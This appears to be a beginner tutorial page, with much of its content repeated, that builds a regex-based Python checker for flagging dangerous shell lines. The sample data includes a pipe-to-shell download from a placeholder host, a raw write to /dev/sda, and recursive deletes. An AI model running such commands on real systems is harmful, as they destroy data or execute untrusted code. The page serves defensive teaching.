A Small Static Checker for Scripts · ai-skills

Everyday Engineering Assistance · Beginner to Intermediate

On this page

Checker rules

The checker looks for four fixed patterns and skips comment lines. Fixed patterns catch repeats, while they do not understand new tricks.

Pattern	Meaning
Recursive delete flag	A remove command carrying a recursive flag deletes whole trees.
Device write target	A copy command aimed at a device node writes outside files.
Pipe into a shell	A pipeline ending in a shell runs bytes as code.
Variable against a glob	A dollar-variable joined to a star widens with its value.

The checker program

The program below scans eight fixed lines with four compiled patterns. Line numbers in the PASS line follow from the sample order.

example.py

import re
import sys

PATTERNS = (
    (r"\brm\s+[^#\n]*-r", "recursive delete"),
    (r"\bdd\s+[^#\n]*\bof=/dev/", "raw device write"),
    (r"\|\s*(sh|bash)\b", "pipe into a shell"),
    (r"\$[A-Za-z_]+\/\*", "variable expanded against a glob"),
)

SAMPLE = (
    "rm -rf /tmp/build_cache",
    "echo 'cleaning done'",
    "rm -rf $OUT_DIR/*",
    "make -n clean",
    "dd if=image.bin of=/dev/sda",
    "cp -r src/ dst_backup/",
    "curl http://example.invalid/x | sh",
    "# rm -rf /tmp/old  (comment line)",
)

def check(lines):
    found = []
    for num, line in enumerate(lines):
        if line.lstrip().startswith("#"):
            continue
        for expr, label in PATTERNS:
            if re.search(expr, line):
                found.append((num, label))
                break
    return found

def main():
    bad = 0
    got = check(SAMPLE)
    if [n for n, _ in got] != [0, 2, 4, 6]:
        bad += 1
    if len(got) != 4:
        bad += 1
    if check(SAMPLE) != got:
        bad += 1
    if any(not label for _, label in got):
        bad += 1
    if bad:
        print("FAIL: flagged lines wrong")
        sys.exit(1)
    print("PASS: 4 of 8 lines flagged, comment line stays clear")

main()

plaintext

8 sample lines, 4 flagged and 4 clear
flagged share = 4 / 8 = 0.5 = 50%
clear share = 4 / 8 = 0.5 = 50%
sum = 50% + 50% = 100%

Limits of pattern checks

A clear scan is not approval. New spellings, quoted variables and multi-line constructs pass fixed patterns unchanged.

Keep least privilege for every run, and keep a person approving destructive steps. Log lines and file contents stay data, never instructions.

Common mistakes

Check yourself The checker flags lines 0, 2, 4 and 6 of eight sample lines. What share is flagged, and what does the comment line do?

Half is flagged: 4 of 8 is 50%. The comment line is skipped and stays clear.

Check yourself A new destructive spelling passes the scan with no flags. Is the script safe?

Not proven. Fixed patterns miss new shapes, so the review gates still apply.

Related topics

Up nextData, Privacy and IP

Practice this lesson Report an error

Checker rules

The checker looks for four fixed patterns and skips comment lines. Fixed patterns catch repeats, while they do not understand new tricks.

Pattern	Meaning
Recursive delete flag	A remove command carrying a recursive flag deletes whole trees.
Device write target	A copy command aimed at a device node writes outside files.
Pipe into a shell	A pipeline ending in a shell runs bytes as code.
Variable against a glob	A dollar-variable joined to a star widens with its value.

The checker program

The program below scans eight fixed lines with four compiled patterns. Line numbers in the PASS line follow from the sample order.

example.py

import re
import sys

PATTERNS = (
    (r"\brm\s+[^#\n]*-r", "recursive delete"),
    (r"\bdd\s+[^#\n]*\bof=/dev/", "raw device write"),
    (r"\|\s*(sh|bash)\b", "pipe into a shell"),
    (r"\$[A-Za-z_]+\/\*", "variable expanded against a glob"),
)

SAMPLE = (
    "rm -rf /tmp/build_cache",
    "echo 'cleaning done'",
    "rm -rf $OUT_DIR/*",
    "make -n clean",
    "dd if=image.bin of=/dev/sda",
    "cp -r src/ dst_backup/",
    "curl http://example.invalid/x | sh",
    "# rm -rf /tmp/old  (comment line)",
)

def check(lines):
    found = []
    for num, line in enumerate(lines):
        if line.lstrip().startswith("#"):
            continue
        for expr, label in PATTERNS:
            if re.search(expr, line):
                found.append((num, label))
                break
    return found

def main():
    bad = 0
    got = check(SAMPLE)
    if [n for n, _ in got] != [0, 2, 4, 6]:
        bad += 1
    if len(got) != 4:
        bad += 1
    if check(SAMPLE) != got:
        bad += 1
    if any(not label for _, label in got):
        bad += 1
    if bad:
        print("FAIL: flagged lines wrong")
        sys.exit(1)
    print("PASS: 4 of 8 lines flagged, comment line stays clear")

main()

plaintext

8 sample lines, 4 flagged and 4 clear
flagged share = 4 / 8 = 0.5 = 50%
clear share = 4 / 8 = 0.5 = 50%
sum = 50% + 50% = 100%

Common mistakes

Check yourself The checker flags lines 0, 2, 4 and 6 of eight sample lines. What share is flagged, and what does the comment line do?

Half is flagged: 4 of 8 is 50%. The comment line is skipped and stays clear.

Check yourself A new destructive spelling passes the scan with no flags. Is the script safe?

Not proven. Fixed patterns miss new shapes, so the review gates still apply.